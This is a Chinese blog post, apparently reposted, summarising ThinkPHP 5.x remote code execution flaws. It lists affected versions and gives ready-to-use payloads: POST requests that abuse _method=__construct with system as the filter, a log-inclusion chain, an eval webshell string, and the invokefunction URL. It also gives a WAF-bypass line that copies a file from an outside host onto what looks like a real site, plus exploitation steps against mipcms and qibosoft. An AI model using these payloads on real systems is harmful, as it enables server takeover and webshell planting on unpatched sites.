thinkphp5.x系列 RCE总结

Posted 0xdd

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了thinkphp5.x系列 RCE总结相关的知识,希望对你有一定的参考价值。

Thinkphp  MVC开发模式

执行流程:

首先发起请求->开始路由检测->获取pathinfo信息->路由匹配->开始路由解析->获得模块、控制器、操作方法调度信息->开始路由调度->解析模块和类名->组建命名空间>查找并加载类->实例化控制器并调用操作方法->构建响应对象->响应输出->日志保存->程序运行结束

漏洞原因:路由控制不严谨,默认不开启强制路由,从而可以任意调用Thinkphp的类库

 

主要有俩种方法,1.Request中的变量覆盖导致RCE  2.路由控制不严谨导致的RCE

 

1.Request中的变量覆盖导致RCE

版本名 是否可被攻击 攻击条件
5.0.0 否 无
5.0.1 否 无
5.0.2 否 无
5.0.3 否 无
5.0.4 否 无
5.0.5 否 无
5.0.6 否 无
5.0.7 否 无
5.0.8 是 无需开启debug
5.0.9 是 无需开启debug
5.0.10 是 无需开启debug
5.0.11 是 无需开启debug
5.0.12 是 无需开启debug
5.0.13 是 需开启debug
5.0.14 是 需开启debug
5.0.15 是 需开启debug
5.0.16 是 需开启debug
5.0.17 是 需开启debug
5.0.18 是 需开启debug
5.0.19 是 需开启debug
5.0.20 否 无
5.0.21 是 需开启debug
5.0.22 是 需开启debug
5.0.23 是 需开启debug

 

5.0.0-5.0.12
payload:

POST /tp5010/public/index.php?s=index/index/index HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded

s=whoami&_method=__construct&filter[]=system

5.1版本,需设置error_reporting(0);

POST /tp5132/public/index.php HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Cookie: XDEBUG_SESSION=PHPSTORM
Content-Length: 28

c=system&f=id&_method=filter
利用文件包含

_method=__construct&method=get&filter[]=think\\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
利用其他变量传参

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST[‘x‘])?>

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

2.路由控制不严谨导致的RCE   

v5.0.23及v5.1.31以下版本

 

 

 

index.php/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1


https://xz.aliyun.com/t/3570 thinkphp win 和linux 的区别

https://www.butian.net/4e5e5d7364f443e28fbf0d3ae744a59a
thinkphp 3 指纹识别 4e5e5d7364f443e28fbf0d3ae744a59a GET

绕宝塔 -主要还是函数和正则上的绕过
http://yishangtv.com/index.php?s=&Fuck=copy(%22http://www.letv.cloud/ad.txt%22,%22test.php%22)
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod

还有一种思路 利用\\think\\ 类库的 方法
做文件包含,把马内容写到log

 

 

关于第一种方法,在基于tp5开发的cms 复现

mipcms 最新版本。debug 需要打开

 

url : http://127.0.0.1/ms/?s=index

payload:

c=assert&f=phpinfo()&_method=filter

 技术图片

 

关于第二种方法,在基于tp5开发的cms 复现 Powered by qibosoft X1.0 Beta Code ©2003-2018

http://127.0.0.1/x1(1)/index.php/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

 

 技术图片

 

以上是关于thinkphp5.x系列 RCE总结的主要内容,如果未能解决你的问题,请参考以下文章

Struts2 历史 RCE 漏洞回顾不完全系列

Thinkphp5.x反序列化漏洞复现

浅谈无参数RCE[未完

thinkPHP5配置nginx环境无法打开(require(): open_basedir restriction in effect. File(/mnt/hgfs/root/tp5/thinkp

漏洞复现ThinkPHP5 5.x 远程命令执行(getshell)

ThinkPHP5.x.x各版本实战环境getshell